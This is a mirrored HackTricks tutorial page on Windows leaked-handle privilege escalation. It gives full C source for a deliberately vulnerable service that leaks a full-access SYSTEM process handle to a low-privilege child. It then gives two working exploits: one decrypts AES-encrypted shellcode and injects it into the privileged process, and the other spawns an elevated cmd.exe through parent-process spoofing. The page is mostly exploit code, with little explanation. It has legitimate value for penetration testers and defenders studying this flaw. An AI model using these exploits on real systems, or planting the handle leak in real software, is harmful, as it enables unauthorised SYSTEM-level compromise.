mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 11:33:29 +00:00
604 lines
21 KiB
Markdown
604 lines
21 KiB
Markdown
|
# Leaked Handle Exploitation
|
||
|
|
||
|
Imagine that **a process running as SYSTEM open a new process** \(`OpenProcess()`\) with **full access**. The same process **also create a new process** \(`CreateProcess()`\) **with low privileges but inheriting all the open handles of the main process**.
|
||
|
Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.
|
||
|
|
||
|
**The code of this example was shared by an anonymous person.**
|
||
|
|
||
|
## Vulnerable Example
|
||
|
|
||
|
For example, the following code belongs to a **Windows service** that would be vulnerable. The vulnerable code of this service binary is located inside the **`Exploit`** function. This function is starts **creating a new handle process with full access**. Then, it's **creating a low privileged process** \(by copying the low privileged token of _explorer.exe_\) executing _C:\users\username\desktop\client.exe_. The **vulnerability resides in the fact it's creating the low privileged process with `bInheritHandles` as `TRUE`**.
|
||
|
|
||
|
Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode \(see next section\).
|
||
|
|
||
|
```c
|
||
|
#include <windows.h>
|
||
|
#include <tlhelp32.h>
|
||
|
#include <tchar.h>
|
||
|
#pragma comment (lib, "advapi32")
|
||
|
|
||
|
TCHAR* serviceName = TEXT("HandleLeakSrv");
|
||
|
SERVICE_STATUS serviceStatus;
|
||
|
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
||
|
HANDLE stopServiceEvent = 0;
|
||
|
|
||
|
|
||
|
//Find PID of a proces from its name
|
||
|
int FindTarget(const char *procname) {
|
||
|
|
||
|
HANDLE hProcSnap;
|
||
|
PROCESSENTRY32 pe32;
|
||
|
int pid = 0;
|
||
|
|
||
|
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
|
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
||
|
|
||
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
|
|
||
|
if (!Process32First(hProcSnap, &pe32)) {
|
||
|
CloseHandle(hProcSnap);
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
while (Process32Next(hProcSnap, &pe32)) {
|
||
|
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
||
|
pid = pe32.th32ProcessID;
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
CloseHandle(hProcSnap);
|
||
|
|
||
|
return pid;
|
||
|
}
|
||
|
|
||
|
|
||
|
int Exploit(void) {
|
||
|
|
||
|
STARTUPINFOA si;
|
||
|
PROCESS_INFORMATION pi;
|
||
|
int pid = 0;
|
||
|
HANDLE hUserToken;
|
||
|
HANDLE hUserProc;
|
||
|
HANDLE hProc;
|
||
|
|
||
|
// open a handle to itself (privileged process) - this gets leaked!
|
||
|
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
||
|
|
||
|
// get PID of user low privileged process
|
||
|
if ( pid = FindTarget("explorer.exe") )
|
||
|
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
||
|
else
|
||
|
return -1;
|
||
|
|
||
|
// extract low privilege token from a user's process
|
||
|
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
|
||
|
CloseHandle(hUserProc);
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
// spawn a child process with low privs and leaked handle
|
||
|
ZeroMemory(&si, sizeof(si));
|
||
|
si.cb = sizeof(si);
|
||
|
ZeroMemory(&pi, sizeof(pi));
|
||
|
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
|
||
|
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
||
|
|
||
|
CloseHandle(hProc);
|
||
|
CloseHandle(hUserProc);
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
||
|
switch ( controlCode ) {
|
||
|
case SERVICE_CONTROL_SHUTDOWN:
|
||
|
case SERVICE_CONTROL_STOP:
|
||
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
|
||
|
SetEvent( stopServiceEvent );
|
||
|
return;
|
||
|
|
||
|
case SERVICE_CONTROL_PAUSE:
|
||
|
break;
|
||
|
|
||
|
case SERVICE_CONTROL_CONTINUE:
|
||
|
break;
|
||
|
|
||
|
case SERVICE_CONTROL_INTERROGATE:
|
||
|
break;
|
||
|
|
||
|
default:
|
||
|
break;
|
||
|
}
|
||
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
}
|
||
|
|
||
|
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
||
|
// initialise service status
|
||
|
serviceStatus.dwServiceType = SERVICE_WIN32;
|
||
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
||
|
serviceStatus.dwControlsAccepted = 0;
|
||
|
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
||
|
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
||
|
serviceStatus.dwCheckPoint = 0;
|
||
|
serviceStatus.dwWaitHint = 0;
|
||
|
|
||
|
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
||
|
|
||
|
if ( serviceStatusHandle ) {
|
||
|
// service is starting
|
||
|
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
|
||
|
// do initialisation here
|
||
|
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
||
|
|
||
|
// running
|
||
|
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
||
|
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
||
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
|
||
|
Exploit();
|
||
|
WaitForSingleObject( stopServiceEvent, -1 );
|
||
|
|
||
|
// service was stopped
|
||
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
|
||
|
// do cleanup here
|
||
|
CloseHandle( stopServiceEvent );
|
||
|
stopServiceEvent = 0;
|
||
|
|
||
|
// service is now stopped
|
||
|
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
||
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
||
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
void InstallService() {
|
||
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
||
|
|
||
|
if ( serviceControlManager ) {
|
||
|
TCHAR path[ _MAX_PATH + 1 ];
|
||
|
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
||
|
SC_HANDLE service = CreateService( serviceControlManager,
|
||
|
serviceName, serviceName,
|
||
|
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
||
|
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
||
|
0, 0, 0, 0, 0 );
|
||
|
if ( service )
|
||
|
CloseServiceHandle( service );
|
||
|
}
|
||
|
CloseServiceHandle( serviceControlManager );
|
||
|
}
|
||
|
}
|
||
|
|
||
|
void UninstallService() {
|
||
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
||
|
|
||
|
if ( serviceControlManager ) {
|
||
|
SC_HANDLE service = OpenService( serviceControlManager,
|
||
|
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
||
|
if ( service ) {
|
||
|
SERVICE_STATUS serviceStatus;
|
||
|
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
||
|
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
||
|
DeleteService( service );
|
||
|
}
|
||
|
CloseServiceHandle( service );
|
||
|
}
|
||
|
CloseServiceHandle( serviceControlManager );
|
||
|
}
|
||
|
}
|
||
|
|
||
|
int _tmain( int argc, TCHAR* argv[] )
|
||
|
{
|
||
|
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
||
|
InstallService();
|
||
|
}
|
||
|
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
||
|
UninstallService();
|
||
|
}
|
||
|
else {
|
||
|
SERVICE_TABLE_ENTRY serviceTable[] = {
|
||
|
{ serviceName, ServiceMain },
|
||
|
{ 0, 0 }
|
||
|
};
|
||
|
|
||
|
StartServiceCtrlDispatcher( serviceTable );
|
||
|
}
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
## Exploit Example 1
|
||
|
|
||
|
{% hint style="info" %}
|
||
|
In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code \(_C:\users\username\desktop\client.exe_ in this case\). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
|
||
|
{% endhint %}
|
||
|
|
||
|
In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.
|
||
|
The most interesting part of this code is located in `GetVulnProcHandle`. This function will **start fetching all the handles**, then it will **check if any of them belongs to the same PID** and if the handle belongs to a **process**. If all these requirements are completed \(an accessible open process handle is found\) , it try to **inject and execute a shellcode abusing the handle of the process**.
|
||
|
The injection of the shellcode is done inside the **`Inject`** function and it will just **write the shellcode inside the privileged process and create a thread inside the same process** to execute the shellcode\).
|
||
|
|
||
|
```c
|
||
|
#include <windows.h>
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
#include <time.h>
|
||
|
#include <wincrypt.h>
|
||
|
#include <psapi.h>
|
||
|
#include <tchar.h>
|
||
|
#include <tlhelp32.h>
|
||
|
#include "client.h"
|
||
|
#pragma comment (lib, "crypt32.lib")
|
||
|
#pragma comment (lib, "advapi32")
|
||
|
#pragma comment (lib, "kernel32")
|
||
|
|
||
|
|
||
|
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
|
||
|
HCRYPTPROV hProv;
|
||
|
HCRYPTHASH hHash;
|
||
|
HCRYPTKEY hKey;
|
||
|
|
||
|
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
|
||
|
return -1;
|
||
|
}
|
||
|
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
|
||
|
return -1;
|
||
|
}
|
||
|
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
|
||
|
return -1;
|
||
|
}
|
||
|
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
CryptReleaseContext(hProv, 0);
|
||
|
CryptDestroyHash(hHash);
|
||
|
CryptDestroyKey(hKey);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
|
||
|
HANDLE GetVulnProcHandle(void) {
|
||
|
|
||
|
ULONG handleInfoSize = 0x10000;
|
||
|
NTSTATUS status;
|
||
|
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
||
|
HANDLE hProc = NULL;
|
||
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
||
|
PVOID objectNameInfo;
|
||
|
UNICODE_STRING objectName;
|
||
|
ULONG returnLength;
|
||
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||
|
DWORD dwOwnPID = GetCurrentProcessId();
|
||
|
|
||
|
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||
|
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
||
|
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
||
|
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
||
|
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||
|
|
||
|
printf("[+] Grabbing handles...");
|
||
|
|
||
|
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
||
|
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
||
|
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
||
|
|
||
|
if (status != STATUS_SUCCESS)
|
||
|
{
|
||
|
printf("[!] NtQuerySystemInformation failed!\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
||
|
|
||
|
// iterate handles until we find the privileged process handle
|
||
|
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
||
|
{
|
||
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
||
|
|
||
|
// Check if this handle belongs to our own process
|
||
|
if (handle.UniqueProcessId != dwOwnPID)
|
||
|
continue;
|
||
|
|
||
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
||
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
|
ObjectTypeInformation,
|
||
|
objectTypeInfo,
|
||
|
0x1000,
|
||
|
NULL ) != STATUS_SUCCESS)
|
||
|
continue;
|
||
|
|
||
|
// skip some objects to avoid getting stuck
|
||
|
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
||
|
if (handle.GrantedAccess == 0x0012019f
|
||
|
&& handle.GrantedAccess != 0x00120189
|
||
|
&& handle.GrantedAccess != 0x120089
|
||
|
&& handle.GrantedAccess != 0x1A019F ) {
|
||
|
free(objectTypeInfo);
|
||
|
continue;
|
||
|
}
|
||
|
|
||
|
// get object name information
|
||
|
objectNameInfo = malloc(0x1000);
|
||
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
|
ObjectNameInformation,
|
||
|
objectNameInfo,
|
||
|
0x1000,
|
||
|
&returnLength ) != STATUS_SUCCESS) {
|
||
|
|
||
|
// adjust the size of a returned object and query again
|
||
|
objectNameInfo = realloc(objectNameInfo, returnLength);
|
||
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
|
ObjectNameInformation,
|
||
|
objectNameInfo,
|
||
|
returnLength,
|
||
|
NULL ) != STATUS_SUCCESS) {
|
||
|
free(objectTypeInfo);
|
||
|
free(objectNameInfo);
|
||
|
continue;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// check if we've got a process object
|
||
|
objectName = *(PUNICODE_STRING) objectNameInfo;
|
||
|
UNICODE_STRING pProcess;
|
||
|
|
||
|
pRtlInitUnicodeString(&pProcess, L"Process");
|
||
|
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
||
|
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
||
|
hProc = (HANDLE) handle.HandleValue;
|
||
|
free(objectTypeInfo);
|
||
|
free(objectNameInfo);
|
||
|
break;
|
||
|
}
|
||
|
else
|
||
|
continue;
|
||
|
|
||
|
free(objectTypeInfo);
|
||
|
free(objectNameInfo);
|
||
|
}
|
||
|
|
||
|
return hProc;
|
||
|
}
|
||
|
|
||
|
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
|
||
|
|
||
|
LPVOID pRemoteCode = NULL;
|
||
|
HANDLE hThread = NULL;
|
||
|
BOOL bStatus = FALSE;
|
||
|
|
||
|
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
|
||
|
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
|
||
|
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
|
||
|
|
||
|
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
|
||
|
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
|
||
|
|
||
|
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
|
||
|
if (bStatus != FALSE) {
|
||
|
WaitForSingleObject(hThread, -1);
|
||
|
CloseHandle(hThread);
|
||
|
return 0;
|
||
|
}
|
||
|
else
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
int main(int argc, char **argv) {
|
||
|
|
||
|
int pid = 0;
|
||
|
HANDLE hProc = NULL;
|
||
|
|
||
|
// AES encrypted shellcode spawning notepad.exe (ExitThread)
|
||
|
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
|
||
|
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
|
||
|
unsigned int payload_len = sizeof(payload);
|
||
|
|
||
|
printf("My PID: %d\n", GetCurrentProcessId());
|
||
|
getchar();
|
||
|
|
||
|
// find a leaked handle to a process
|
||
|
hProc = GetVulnProcHandle();
|
||
|
|
||
|
if ( hProc != NULL) {
|
||
|
|
||
|
// d#Decrypt payload
|
||
|
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
|
||
|
printf("[+] Sending gift...");
|
||
|
// Inject and run the payload in the privileged context
|
||
|
Inject(hProc, payload, payload_len);
|
||
|
printf("done.\n");
|
||
|
}
|
||
|
getchar();
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
## Exploit Example 2
|
||
|
|
||
|
{% hint style="info" %}
|
||
|
In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code \(_C:\users\username\desktop\client.exe_ in this case\). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
|
||
|
{% endhint %}
|
||
|
|
||
|
In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148.
|
||
|
|
||
|
Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing** _**cmd.exe**_ **will have the same token privilege as the open handle process**.
|
||
|
|
||
|
```c
|
||
|
#include <windows.h>
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
#include <time.h>
|
||
|
#include <wincrypt.h>
|
||
|
#include <psapi.h>
|
||
|
#include <tchar.h>
|
||
|
#include <tlhelp32.h>
|
||
|
#include "client.h"
|
||
|
#pragma comment (lib, "crypt32.lib")
|
||
|
#pragma comment (lib, "advapi32")
|
||
|
#pragma comment (lib, "kernel32")
|
||
|
|
||
|
|
||
|
HANDLE GetVulnProcHandle(void) {
|
||
|
|
||
|
ULONG handleInfoSize = 0x10000;
|
||
|
NTSTATUS status;
|
||
|
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
||
|
HANDLE hProc = NULL;
|
||
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
||
|
PVOID objectNameInfo;
|
||
|
UNICODE_STRING objectName;
|
||
|
ULONG returnLength;
|
||
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||
|
DWORD dwOwnPID = GetCurrentProcessId();
|
||
|
|
||
|
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||
|
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
||
|
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
||
|
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
||
|
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||
|
|
||
|
printf("[+] Grabbing handles...");
|
||
|
|
||
|
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
||
|
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
||
|
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
||
|
|
||
|
if (status != STATUS_SUCCESS)
|
||
|
{
|
||
|
printf("[!] NtQuerySystemInformation failed!\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
||
|
|
||
|
// iterate handles until we find the privileged process handle
|
||
|
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
||
|
{
|
||
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
||
|
|
||
|
// Check if this handle belongs to our own process
|
||
|
if (handle.UniqueProcessId != dwOwnPID)
|
||
|
continue;
|
||
|
|
||
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
||
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
|
ObjectTypeInformation,
|
||
|
objectTypeInfo,
|
||
|
0x1000,
|
||
|
NULL ) != STATUS_SUCCESS)
|
||
|
continue;
|
||
|
|
||
|
// skip some objects to avoid getting stuck
|
||
|
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
||
|
if (handle.GrantedAccess == 0x0012019f
|
||
|
&& handle.GrantedAccess != 0x00120189
|
||
|
&& handle.GrantedAccess != 0x120089
|
||
|
&& handle.GrantedAccess != 0x1A019F ) {
|
||
|
free(objectTypeInfo);
|
||
|
continue;
|
||
|
}
|
||
|
|
||
|
// get object name information
|
||
|
objectNameInfo = malloc(0x1000);
|
||
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
|
ObjectNameInformation,
|
||
|
objectNameInfo,
|
||
|
0x1000,
|
||
|
&returnLength ) != STATUS_SUCCESS) {
|
||
|
|
||
|
// adjust the size of a returned object and query again
|
||
|
objectNameInfo = realloc(objectNameInfo, returnLength);
|
||
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
|
ObjectNameInformation,
|
||
|
objectNameInfo,
|
||
|
returnLength,
|
||
|
NULL ) != STATUS_SUCCESS) {
|
||
|
free(objectTypeInfo);
|
||
|
free(objectNameInfo);
|
||
|
continue;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// check if we've got a process object
|
||
|
objectName = *(PUNICODE_STRING) objectNameInfo;
|
||
|
UNICODE_STRING pProcess;
|
||
|
|
||
|
pRtlInitUnicodeString(&pProcess, L"Process");
|
||
|
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
||
|
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
||
|
hProc = (HANDLE) handle.HandleValue;
|
||
|
free(objectTypeInfo);
|
||
|
free(objectNameInfo);
|
||
|
break;
|
||
|
}
|
||
|
else
|
||
|
continue;
|
||
|
|
||
|
free(objectTypeInfo);
|
||
|
free(objectNameInfo);
|
||
|
}
|
||
|
|
||
|
return hProc;
|
||
|
}
|
||
|
|
||
|
|
||
|
int main(int argc, char **argv) {
|
||
|
|
||
|
HANDLE hProc = NULL;
|
||
|
STARTUPINFOEXA si;
|
||
|
PROCESS_INFORMATION pi;
|
||
|
int pid = 0;
|
||
|
SIZE_T size;
|
||
|
BOOL ret;
|
||
|
|
||
|
Sleep(20000);
|
||
|
// find leaked process handle
|
||
|
hProc = GetVulnProcHandle();
|
||
|
|
||
|
if ( hProc != NULL) {
|
||
|
|
||
|
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
|
||
|
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
|
||
|
|
||
|
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
||
|
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
|
||
|
|
||
|
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
||
|
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
|
||
|
|
||
|
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
||
|
|
||
|
// Spawn elevated cmd process
|
||
|
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
|
||
|
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
|
||
|
|
||
|
if (ret == FALSE) {
|
||
|
printf("[!] Error spawning new process: [%d]\n", GetLastError());
|
||
|
return -1;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
Sleep(20000);
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
|